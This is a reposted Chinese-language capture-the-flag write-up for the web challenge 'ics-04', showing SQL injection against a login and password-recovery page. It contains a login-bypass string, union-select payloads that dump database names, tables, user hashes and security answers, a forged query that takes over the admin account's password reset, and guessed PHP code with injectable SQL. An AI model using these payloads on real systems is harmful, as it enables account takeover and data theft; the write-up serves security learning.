攻防世界-web:ics-04


題目描述

工控雲管理系統新添加的登錄和注冊頁面存在漏洞,請找出flag。

題目截圖

解題過程

(1)跟具題目描述,可以確定解題焦點應該放在登錄界面跟注冊界面
我們先嘗試注冊一個用戶

用戶名:user1
密碼:1
密保問題:1
密保答案:1


然后登錄


返回了普通用戶沒有什么用
所以我們必須以管理員用戶登錄才能獲取flag

可以看到這個登錄頁面存在密碼找回功能

經過測試,發現這個頁面存在SQL注入漏洞
當在用戶名框內輸入1'OR(1)OR'時,頁面發生了變化,成功繞過用戶名檢查。

后面就是SQL注入常規操作。
我嘗試order by 操作,發現成功不了,可能是后台過濾了什么。
於是直接嘗試union select 操作。
當測試到SQL:1' union select 1,2,3,4#時,發現頁面顯示正常。

密保問題處顯示3,表示3的位置為顯示位。接下來就順理成章了。

查數據庫名

SQL:1' union select 1,2,database(),4#
發現無法得到數據庫名,可能后台過濾了。
SQL:1' union select 1,2,group_concat(schema_name),4 from information_schema.schemata#

得到數據庫名:cetc004

查表名

SQL:1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = 'cetc004'#

得到數據表:user

查列名

SQL:1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = 'user'#

得到列名:username,password,question,answer,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view
列名好多,可是有用的就前面幾個:username,password,question,answer

查用戶

SQL:1' union select 1,2,group_concat(username),4 from cetc004.user#
(注意:直接拼接user表查詢不出數據)

用戶名:c3tlwDmIn23,user,user1

查密碼

SQL:1' union select 1,2,group_concat(password),4 from cetc004.user#

密碼:2f8667f381ff50ced6a3edc259260ba9,c4ca4238a0b923820dcc509a6f75849b,c4ca4238a0b923820dcc509a6f75849b

查問題

SQL:1' union select 1,2,group_concat(question),4 from cetc004.user#

問題:cetc,1,1

查答案

SQL:1' union select 1,2,group_concat(answer),4 from cetc004.user#

答案:cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,1,1

改密碼

用戶名:c3tlwDmIn23
問題:cetc
答案:cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds
原始密碼:不知道(數據庫里查詢的是MD5值,不是原始密碼,利用在線md5爆破沒結果。)

題目做到這里,感覺應該要結束了,但是不知道如何繼續了。
這個時候我們看看更改密碼的請求包

發現沒有用戶名,只有答案跟密碼,那后台怎么判別是要修改哪個用戶的密碼呢?經過分析,可以發現每次查詢用戶成功后,就會返回一個PHPSESSID,這個PHPSESSID就是用戶驗證成功后在服務器存儲一些信息的,一般是用戶憑證信息,例如用戶ID,用戶密碼等。
例如下面的php代碼,就是一般登錄后在服務器端通過session把數據存儲下來。

function login($username,$password)
{
	....sql查詢
	if(登錄成功)
	{
		session_start();
		$_SESSION['username']=$username;
		$_SESSION['password']=$password;
	}
}

而這道題后台大概的修改密碼的php代碼可以為猜測如下:

function check_user($username)
{
	$sql = "select * from user where username = '$username'";
	$row = db_query($sql);
	if(count($row)>0)
	{
		session_start();
		$_SESSION['islogin'] = true;
		$_SESSION['username']=$row[0]['username'];
		$_SESSION['password']=$row[0]['password'];
		$_SESSION['question']=$row[0]['question'];
		$_SESSION['answer']  =$row[0]['answer'];
		return true;
	}
	else
	{
		return false;
	}
}

function update_password($answer,$password)
{
	session_start();
	if($_SESSION['islogin'])
	{
		if($_SESSION['answer']===$answer&&$_SESSION['password']===md5($password))
		{
			session_start();
			$_SESSION['auth'] = true;
			return true;
		}
		else
		{
			return false;
		}
	}
	return false;
}

function change_password($password)
{
	session_start();
	if($_SESSION['auth']&&$_SESSION['islogin'])
	{
		$password = md5($password);
		$sql = "update user set password='$password' where username='$_SESSION['username']'";
		db_query($sql);
		return true;
	}
	return false;
}

可以看出,我們只要人為的查詢出我們知道信息,然后把這些信息存儲在session里,參與后續的判斷,就可以實現其他用戶密碼的修改。
SQL:1' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','1','2'#
其中202cb962ac59075b964b07152d234b70是 123 md5加密后的值。


成功進入修改密碼界面。
我們輸入新密碼,修改成功。

嘗試登錄


得到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM